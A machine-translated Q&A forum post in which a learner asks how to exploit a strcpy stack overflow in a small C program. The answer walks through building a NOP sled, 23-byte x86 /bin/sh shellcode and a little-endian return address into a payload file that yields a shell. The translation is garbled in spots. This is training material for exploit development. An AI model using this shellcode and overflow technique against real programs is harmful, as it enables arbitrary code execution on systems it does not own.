Strcpy BufferOverflow 获取 EIP 的 shellcode 位置

逆向工程 部件 数据库 外壳代码 登记
2021-06-27 10:13:32

我试图获得一个 shellcode,利用一个带有strcpy()函数的 C 程序

我发现我需要 68 个字节才能开始在EIP. 所以,如果我写 72's by EIPregister is 0x41414141.

我想要的是为 x86 操作系统插入一个 23 字节的 shellcode。所以我知道我需要这个:

  • 68 个字节 - 23 个 shellcode 字节: 45 NOPs
  • 23 字节的 Shellcode。
  • EIP寄存器的4 个字节,指向 shellcode 的开始。

我不知道如何执行此操作。这是我的程序:

#include <stdio.h>
#include <string.h>

void cambiarEIP() {
    printf("\n Has cambiado el valor del EIP, enhorabuena\n");
}

int main(int argc, char * argv[]) {
    char buf[64];

    if(argc == 1) {
        printf("Uso: %s entrada\n", argv[0]);
        return -1;
    }

    strcpy(buf,argv[1]);
    printf("%s\n", buf);

    return 0;
}

我想将其作为参数插入:45As+shellcode+EIPDIR。

这是我在将 71 个字节作为参数传递时使用 GDB 得到的结果:

 Program received signal SIGSEGV, Segmentation fault.
 0x00414141 in ?? ()

这些是我的寄存器:

(gdb) i r
eax            0x0  0
ecx            0xb7fbc4e0   -1208236832
edx            0xb7fbd360   -1208233120
ebx            0xb7fbbff4   -1208238092
esp            0xbffff4a0   0xbffff4a0
ebp            0x41414141   0x41414141
esi            0x0  0
edi            0x0  0
eip            0x414141 0x414141
eflags         0x10246  [ PF ZF IF RF ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0  0
gs             0x33 51

我知道我需要这样的东西:

./shell \x41\*45 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
          "\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" + Shellcode location

如何执行此操作?

1个回答

68 个 A 字节 - 23 个 shellcode 字节:45 个 NOP。

NOP 是代表 No OPeration 的助记符,它是字节 \x90,这意味着您必须为 NOP (\x90) 更改 A (\x41),因为 \x41 本身不是有效的 ASM 指令x86 处理器因此使您的程序崩溃。

考虑到这一点,第一部分如下:

python -c 'print "\x90"*45' > payload.bin

23 字节 Shellcode

这是不言自明的,只需添加您的shellcode:

python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"' >> payload.bin

EIP 寄存器的 4 个字节,指向 shellcode 的开始。

这是棘手的部分:

首先问自己几个问题:

  1. 系统是否启用了 ASLR?
  2. 是否启用了 DEP?
  3. NX?

如果答案是您不知道,请阅读本文

如果这两个的答案是否定的,那么继续检查 gdb 以下内容

  1. 在 gdb 中的程序入口点设置断点
  2. 进入 gdb 直到调用 strcpy(id est,发生溢出时)
  3. 获取您的buf变量在堆栈中的位置我们可以通过在 gdb 中编写下一个命令来实现,因为堆栈指针指向buf的开头
    • x/32xb $esp

现在您已经有了buf变量的位置,它应该是0xbffff5f0. 现在获取该内存位置并将其添加到有效负载的末尾。您需要这个位置才能跳转到buf变量的位置并执行其中的 shellcode...

但是坚持住!

您仍然必须考虑字节序,这在您的系统中是小字节序。

所以你需要用 little endian 写那个内存位置,如果你像我一样懒惰,你最终会写一个脚本来为你做

python pyndianizer.py 0xbffff5f0 ==> \xf0\xf5\xff\xbf

现在,将其添加到您的有效负载中 python -c 'print "\xf0\xf5\xff\xbf"' >> payload.bin

对于总决赛:

cat payload.bin | ./shell

如果一切顺利,只需按几下 Enter 键,您就会拥有自己的外壳。

最后说明

你的 shellcode 可以运行,/bin/sh但有时只是运行它不起作用,因为程序在运行你的 shellcode 后就结束了。如果是这样,你必须在输入catshellcode后让它等待用户输入